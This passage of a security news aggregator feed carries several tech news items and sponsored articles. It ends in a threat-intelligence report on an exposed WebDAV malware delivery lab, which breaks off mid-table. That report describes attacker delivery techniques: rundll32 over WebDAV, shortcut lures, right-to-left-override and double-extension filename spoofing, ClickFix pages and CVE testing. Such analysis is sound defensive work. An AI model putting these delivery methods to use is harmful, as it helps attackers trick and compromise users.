<description><![CDATA[Microsoft is retiring Outlook's free Meeting Insight feature in the coming months. Its replacement, "Prepare for this meeting," requires a paid Microsoft 365 Copilot license.]]></description>
<link>https://tsecurity.de/de/3681794/windows-tipps/microsoft-is-moving-another-outlook-feature-behind-a-copilot-paywall/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681794/windows-tipps/microsoft-is-moving-another-outlook-feature-behind-a-copilot-paywall/</guid>
<pubDate>Mon, 20 Jul 2026 19:06:57 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft is retiring Outlook's free Meeting Insight feature in the coming months. Its replacement, "Prepare for this meeting," requires a paid Microsoft 365 Copilot license.]]></content:encoded>
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<title><![CDATA[Upcoming Changes to the Nearby Connections API]]></title>
<description><![CDATA[Posted by Wei Wang, Engineering Manager, Android BeTo



User privacy and transparency are core to the Android experience. To better align with these principles, we are updating the default behavior of the Nearby Connections API regarding how it interacts with device radios.

What is changing?
Pr...]]></description>
<link>https://tsecurity.de/de/3681790/android-tipps/upcoming-changes-to-the-nearby-connections-api/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681790/android-tipps/upcoming-changes-to-the-nearby-connections-api/</guid>
<pubDate>Mon, 20 Jul 2026 19:06:26 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<i>Posted by Wei Wang, Engineering Manager, Android BeTo</i>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG84rk4vo20t7pFUGFUp6Cx38qbJTZWW5Q5ztSfPOaV474gZ4mnT7qpnC6o4hKJkwR6CiD4TwPWCS0aU-w0nr70WkKrcpR2yRM5PXnMDa9t3mjgQVahNBzLijD2v23LiDj_NaMWoyVXWTV3cKXHsForureZTA1_Q5M_03ZAve7PybnhpYpGG05IS2uCv0/s8583/Upcoming%20Changes%20to%20the%20Nearby%20Connections%20API%20_Blog.png"><img border="0" data-original-height="2600" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjG84rk4vo20t7pFUGFUp6Cx38qbJTZWW5Q5ztSfPOaV474gZ4mnT7qpnC6o4hKJkwR6CiD4TwPWCS0aU-w0nr70WkKrcpR2yRM5PXnMDa9t3mjgQVahNBzLijD2v23LiDj_NaMWoyVXWTV3cKXHsForureZTA1_Q5M_03ZAve7PybnhpYpGG05IS2uCv0/s1600/Upcoming%20Changes%20to%20the%20Nearby%20Connections%20API%20_Blog.png"></a></div>

<p>User privacy and transparency are core to the Android experience. To better align with these principles, we are updating the default behavior of the Nearby Connections API regarding how it interacts with device radios.</p>

<h2>What is changing?</h2>
<p>Previously, the Nearby Connections API could automatically toggle Wi-Fi and Bluetooth radios ON to facilitate connections without explicit user intervention. Moving forward, the API will no longer automatically enable these radios for 1P and 3P applications.</p>

<h2>What this means for developers</h2>
<p>If your app relies on Nearby Connections, you will need to update your implementation to account for these changes:</p>
<ul>
  <li><strong>Manual Radio Management:</strong> You must ensure that the necessary radios (Wi-Fi or Bluetooth) are enabled before initiating Nearby Connections tasks.</li>
  <li><strong>User Notification:</strong> If the required radios are disabled, your app must now inform the user and request that they enable them manually. The API will no longer programmatically turn them on for you.</li>
</ul>

<h2>Timing</h2>
<p>These changes are scheduled to take effect in late 2026. We recommend reviewing your connection workflows now to ensure a seamless transition for your users.</p>]]></content:encoded>
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<title><![CDATA[Ofcom promises 'faster Wi-Fi and better mobile performance' in the UK thanks to pioneering 6GHz plan that uses 'air traffic control' wizardry for Wi-Fi and 6G]]></title>
<description><![CDATA[Ofcom's moving forward with its 6GHz plan that works like air traffic control for wireless signals.]]></description>
<link>https://tsecurity.de/de/3681783/it-nachrichten/ofcom-promises-faster-wi-fi-and-better-mobile-performance-in-the-uk-thanks-to-pioneering-6ghz-plan-that-uses-air-traffic-control-wizardry-for-wi-fi-and-6g/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681783/it-nachrichten/ofcom-promises-faster-wi-fi-and-better-mobile-performance-in-the-uk-thanks-to-pioneering-6ghz-plan-that-uses-air-traffic-control-wizardry-for-wi-fi-and-6g/</guid>
<pubDate>Mon, 20 Jul 2026 19:05:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ofcom's moving forward with its 6GHz plan that works like air traffic control for wireless signals.]]></content:encoded>
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<title><![CDATA[AI confidence just dropped 17 points in six months. That’s actually great news.]]></title>
<description><![CDATA[Presented by JumpCloudThe organizations losing confidence in AI are the ones most likely to get it right.Six months ago, 40% of IT leaders described their organizations as mature in AI deployment. Today that number is 23%. Before you read that as a setback, consider what it actually reflects.We r...]]></description>
<link>https://tsecurity.de/de/3681607/it-nachrichten/ai-confidence-just-dropped-17-points-in-six-months-thats-actually-great-news/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681607/it-nachrichten/ai-confidence-just-dropped-17-points-in-six-months-thats-actually-great-news/</guid>
<pubDate>Mon, 20 Jul 2026 18:03:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by JumpCloud</i></p><hr><p><b><i>The organizations losing confidence in AI are the ones most likely to get it right.</i></b></p><p>Six months ago, 40% of IT leaders described their organizations as mature in AI deployment. <a href="https://jumpcloud.com/resources/q3-2026-it-trends-report?utm_source=VentureBeat&amp;utm_medium=Contributed&amp;utm_campaign=FY26Q1_MorningBrew_AD&amp;utm_content=JulyArticle"><u>Today that number is 23%</u></a>. Before you read that as a setback, consider what it actually reflects.</p><p>We recently surveyed 800 IT leaders across the U.S. and U.K. for our Q3 2026 trends report, and the data tells a consistent story: the organizations revising their self-assessment downward are overwhelmingly the ones that have moved AI agents from pilots into production. They’re not losing faith in AI. They’re running into the problems that only show up when agents are doing real work in real systems, and they’re being honest about what they found.</p><p>That kind of honesty is harder to come by than it sounds, and it matters more than the confidence number itself.</p><h2>Deployment was the easy part</h2><p>84% of organizations plan to expand AI use in IT operations over the next 6 to 24 months, so the drop in confidence isn’t a retreat. What it reflects is a more accurate picture of what production actually requires.</p><p>In a pilot, an AI agent does one thing in a controlled setting. In production, it accesses real systems, makes decisions that affect real workflows, and operates continuously, often without a human in the loop. The governance infrastructure that entails is materially different from what it took to get the pilot working. Most organizations built enough to ship. Fewer built enough to scale.</p><p>The IT leaders revising their self-assessment are confronting questions they didn’t have to ask at the pilot stage: Can we see every agent running in our environment? Do we know what each one can access? If an agent behaved unexpectedly last week, how long would it take to find out? For most organizations, at least one of those answers is uncomfortable.</p><h2>The gap between perception and reality is where risk accumulates</h2><p>The graphic above captures the structural problem. Across confidence, governance, and autonomy, the same pattern holds: deployment is moving faster than the controls built around it.</p><p>The organizations that have closed this gap share specific characteristics. They’ve consolidated their IT environments rather than adding tools to solve each new problem, because every additional platform creates another place where agent identity, access, and accountability can go unmanaged. They treat AI agents as governed identities rather than tolerated shadow processes. And they measure what AI actually produces, not just what it deploys.</p><p>The payoff is tangible. Organizations in the top tier of our maturity model are five times more likely to report no barriers to expanding their AI agents than the average organization. They are not more cautious about AI. They are more confident in it, because they built the foundation that makes confidence earned rather than assumed.</p><h2>The governance gap has a specific shape</h2><p>The hardest problem in enterprise AI right now is not capability. It is accountability, and the data makes the specific failure point clear: non-human identity governance is the least adopted AI security practice we measured, in place at just 21% of organizations.</p><p>Non-human identities now outnumber human users in 83% of organizations, and that population is growing fast. Yet most of those identities exist without the governance structures that every human employee has as a matter of course: no formal record, no named owner, no defined scope of access, no offboarding process when their purpose expires. They keep running. They keep accessing systems. They keep accumulating permissions. We call these Zombie Agents, and they are the service account problem of the AI era, operating at machine speed and in every department.</p><p>The accountability gap is where real risk lives. When a human employee takes an action, there is an implicit accountability chain. When an autonomous agent takes an action, that chain breaks unless it has been deliberately engineered. Most organizations have not yet engineered it, and the gap between the autonomy agents are being granted and the oversight structures in place to manage them is widening every month.</p><h2>What the confidence drop is actually telling us</h2><p>When AI maturity confidence was uniformly high across the market, that was worth worrying about. It meant most organizations hadn’t yet run into the hard parts. A selective drop, concentrated among organizations actively running agents in production, means the market is developing a more accurate picture of what AI operations genuinely require.</p><p>The organizations recalibrating are doing the work that makes long-term AI adoption possible: building identity infrastructure that covers agents alongside humans and devices, unifying the environments where governance needs to apply, and measuring outcomes rather than just counting deployments. They haven’t lowered their ambitions for AI. They have raised their standards for what it means to run it responsibly.</p><p>84% of organizations plan to expand AI use over the next two years. The ones that will do it well are honest enough, right now, to admit what they haven’t yet built.</p><p><i>JumpCloud’s Q3 2026 AI Readiness Research report (n=800 IT leaders, U.S. + U.K.) is available </i><a href="https://jumpcloud.com/resources/q3-2026-it-trends-report?utm_source=VentureBeat&amp;utm_medium=Contributed&amp;utm_campaign=FY26Q1_MorningBrew_AD&amp;utm_content=JulyArticle"><i><u>here</u></i></a><i>. The report covers AI agent deployment stages, identity governance gaps, IT unification benchmarks, and budget realism across mid-market and enterprise organizations.</i></p><p><i>Rajat Bhargava is CEO and Co-founder at JumpCloud.</i></p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
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<title><![CDATA[The technology behind every live sports moment]]></title>
<description><![CDATA[When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.



They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbin...]]></description>
<link>https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</guid>
<pubDate>Mon, 20 Jul 2026 16:48:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.</p>



<p class="wp-block-paragraph">They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.</p>



<p class="wp-block-paragraph">They just feel the moment.</p>



<p class="wp-block-paragraph">And that’s exactly how it’s supposed to work.</p>



<p class="wp-block-paragraph">And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.</p>



<p class="wp-block-paragraph"><strong>As audiences moved to digital platforms, the margin for error disappeared.</strong><strong></strong></p>



<p class="wp-block-paragraph">There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.</p>



<p class="wp-block-paragraph">Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.</p>



<p class="wp-block-paragraph">Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.</p>



<p class="wp-block-paragraph">Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.</p>



<p class="wp-block-paragraph">Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.</p>



<h3 class="wp-block-heading"><strong>What these viewership numbers actually mean for infrastructure</strong></h3>



<p class="wp-block-paragraph">The shift in how people watch live sport has moved well beyond trend territory.</p>



<p class="wp-block-paragraph">EMARKETER forecasts that digital live sports audiences in the US will grow to <a href="https://www.emarketer.com/content/100-million-watch-live-sports-digital">114.1 million viewers</a>, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.</p>



<p class="wp-block-paragraph">The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.</p>



<p class="wp-block-paragraph">During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s <a href="https://streamscharts.com/news/fifa-world-cup-2026-group-stage-livestreaming">CazéTV</a> repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and <a href="https://www.nbcuniversal.com/article/fifa-world-cup-2026-propels-telemundo-and-peacock-record-viewership">Telemundo’s</a> digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. </p>



<p class="wp-block-paragraph">When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.</p>



<p class="wp-block-paragraph">Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. </p>



<p class="wp-block-paragraph">Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.</p>



<p class="wp-block-paragraph">Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.</p>



<p class="wp-block-paragraph">To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.</p>



<p class="wp-block-paragraph">According to an <a href="https://www.haivision.com/blog/all/2025-broadcast-transformation-report-key-takeaways/">industry survey</a>, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. </p>



<p class="wp-block-paragraph">The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.</p>



<p class="wp-block-paragraph">Ultimately, the technical demand is driven by a shift in what viewers expect. An <a href="https://newsroom.ibm.com/2025-08-18-ibm-study-sports-fans-demand-more-dynamic-digital-content,-powered-by-ai">IBM sports study</a> revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.</p>



<p class="wp-block-paragraph">Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.</p>



<h3 class="wp-block-heading"><strong>The planning mistake most organisations make</strong></h3>



<p class="wp-block-paragraph">Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. </p>



<p class="wp-block-paragraph">The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic <a href="https://aws.amazon.com/blogs/apn/how-to-manage-peak-traffic-on-aws-using-queue-its-virtual-waiting-room/">2 to 25 times above normal levels within seconds</a>. The infrastructure may be different, but the pressure is remarkably similar.<br></p>



<p class="wp-block-paragraph">Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.</p>



<p class="wp-block-paragraph">The problem isn’t the individual systems. It’s how they work together.</p>



<p class="wp-block-paragraph">Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. </p>



<p class="wp-block-paragraph">A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.</p>



<p class="wp-block-paragraph">Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew <a href="https://avia.org/southeast-asia-premium-vod-accelerates-in-2025-as-subscriber-growth-rebounds-ctv-scales-and-local-content-breaks-through/?utm_source=chatgpt.com">19%</a> in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.</p>



<p class="wp-block-paragraph">The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.</p>



<p class="wp-block-paragraph">Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.</p>



<p class="wp-block-paragraph">Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.</p>



<h3 class="wp-block-heading"><strong>The hidden chain behind every live event</strong></h3>



<p class="wp-block-paragraph">When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.</p>



<p class="wp-block-paragraph">A live event depends on dozens of systems working together, and any one of them can become a problem.</p>



<p class="wp-block-paragraph">And the experience is only as good as the weakest handoff between them.</p>



<p class="wp-block-paragraph">It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.</p>



<p class="wp-block-paragraph">Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.</p>



<p class="wp-block-paragraph">Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.</p>



<p class="wp-block-paragraph">Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.</p>



<p class="wp-block-paragraph">Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. </p>



<p class="wp-block-paragraph">AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.</p>



<p class="wp-block-paragraph">Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. </p>



<p class="wp-block-paragraph">The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.</p>



<p class="wp-block-paragraph">Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.</p>



<h3 class="wp-block-heading"><strong>What reliability is actually worth</strong></h3>



<p class="wp-block-paragraph">For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.</p>



<p class="wp-block-paragraph">Neither of those things is true now.</p>



<p class="wp-block-paragraph">A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.</p>



<p class="wp-block-paragraph">The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.</p>



<p class="wp-block-paragraph">Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.</p>



<p class="wp-block-paragraph">The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.</p>



<p class="wp-block-paragraph">For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.</p>



<h3 class="wp-block-heading"><strong>The demands ahead are bigger</strong></h3>



<p class="wp-block-paragraph">AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to <a href="https://www.statsperform.com/insights/opta-pulse-launch/">80% faster</a> than traditional methods. </p>



<p class="wp-block-paragraph">All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.</p>



<p class="wp-block-paragraph">Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. </p>



<p class="wp-block-paragraph">Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. </p>



<p class="wp-block-paragraph">Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.</p>



<p class="wp-block-paragraph">Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.</p>



<p class="wp-block-paragraph">Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.</p>



<h3 class="wp-block-heading"><strong>The technology you never think about</strong></h3>



<p class="wp-block-paragraph">The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.</p>



<p class="wp-block-paragraph">This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.</p>



<p class="wp-block-paragraph">The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.</p>



<p class="wp-block-paragraph">Delivering that level of reliability is why many of the world’s largest sports brands rely on <a href="https://www.tatacommunications.com/media-entertainment">Tata Communications</a>. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.</p>



<p class="wp-block-paragraph">By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.</p>



<p class="wp-block-paragraph">Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.</p>



<p class="wp-block-paragraph">To learn more, visit us <a href="https://www.tatacommunications.com/sports?utm_source=blog&amp;utm_medium=cio&amp;utm_campaign=mes%20fifa%20campaign">here</a>.</p>
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<title><![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]></title>
<description><![CDATA[Executive summaryAn MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery...]]></description>
<link>https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.</span></p><p><span>Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.</span></p><p><span>This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.</span></p><h2>Introduction: From MDR alert to attacker infrastructure</h2><p><span>The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using </span><span><span data-type="inlineCode">rundll32.exe</span></span><span>. Telemetry showed the WebClient service starting, followed by </span><span><span data-type="inlineCode">davclnt.dll</span></span><span> reaching out to a remote host to retrieve content.</span></p><p><span>That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.</span></p><p><span>At a high level, the 1,048 files clustered as follows:</span></p><p><span></span></p><table><colgroup data-width="1566"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Category</strong></span></p></td><td><p><span><strong>Files</strong></span></p></td><td><p><span><strong>Functions and discoveries</strong></span></p></td></tr><tr><td><p><span>LNK delivery launchers</span></p></td><td><p><span>453</span></p></td><td><p><span>Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths</span></p></td></tr><tr><td><p><span>Filename-spoofing QA</span></p></td><td><p><span>236</span></p></td><td><p><span>Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior</span></p></td></tr><tr><td><p><span>URL/LOLBin execution tests</span></p></td><td><p><span>146</span></p></td><td><p><span>Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution</span></p></td></tr><tr><td><p><span>Encrypted droppers</span></p></td><td><p><span>89</span></p></td><td><p><span>Staged second-stage payloads and installer-style packages</span></p></td></tr><tr><td><p><span>Alternative execution containers</span></p></td><td><p><span>24</span></p></td><td><p><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, </span><span><span data-type="inlineCode">.cpl</span></span><span>, and related delivery containers</span></p></td></tr><tr><td><p><span>Payload stubs and spoofed executables</span></p></td><td><p><span>21</span></p></td><td><p><span>Smaller loaders, decoys, and renamed binaries</span></p></td></tr><tr><td><p><span>WebDAV scripts</span></p></td><td><p><span>17</span></p></td><td><p><span>Scripts intended to make WebDAV delivery more reliable on Windows systems</span></p></td></tr><tr><td><p><span>Builder and operator notes</span></p></td><td><p><span>10</span></p></td><td><p><span><span data-type="inlineCode">README</span></span><span> files, test reports, mappings, and generation scripts</span></p></td></tr><tr><td><p><span>ClickFix HTML lures</span></p></td><td><p><span>9</span></p></td><td><p><span>Browser-based social-engineering pages instructing users to run commands</span></p></td></tr><tr><td><p><span>Miscellaneous files</span></p></td><td><p><span>6</span></p></td><td><p><span>Included documentation for the actor’s WebDAV delivery/admin panel</span></p></td></tr></tbody></table><p><span><em>Table 1: Breakdown of files recovered from the attacker’s delivery workspace</em></span></p><h2><span>Technical analysis and observed attacker behavior</span></h2><h3>Attackers testing like a product team</h3><p><span>The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, </span><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.</span></p><p><span>The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named </span><span><span data-type="inlineCode">testik</span></span><span> and </span><span><span data-type="inlineCode">testik2</span></span><span>, a Russian diminutive form of “test”.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" alt="testing-files-subfolders.png" caption="Figure 1: Snippet of one of many subfolders containing testing files." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="testing-files-subfolders.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" data-sys-asset-uid="bltbc6d4a9f8e6c1e40" data-sys-asset-filename="testing-files-subfolders.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Snippet of one of many subfolders containing testing files." data-sys-asset-alt="testing-files-subfolders.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Snippet of one of many subfolders containing testing files.</figcaption></div></figure><p>⠀</p><p><span>Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.</span></p><p><span></span></p><table><colgroup data-width="1901"><col><col><col></colgroup><tbody><tr><td><p><span><strong>CVE</strong></span></p></td><td><p><span><strong>Observed samples</strong></span></p></td><td><p><span><strong>Short description</strong></span></p></td></tr><tr><td><p><span>CVE-2025-33053</span></p></td><td><p><span>11</span></p></td><td><p><span>Windows Internet Shortcut flaw 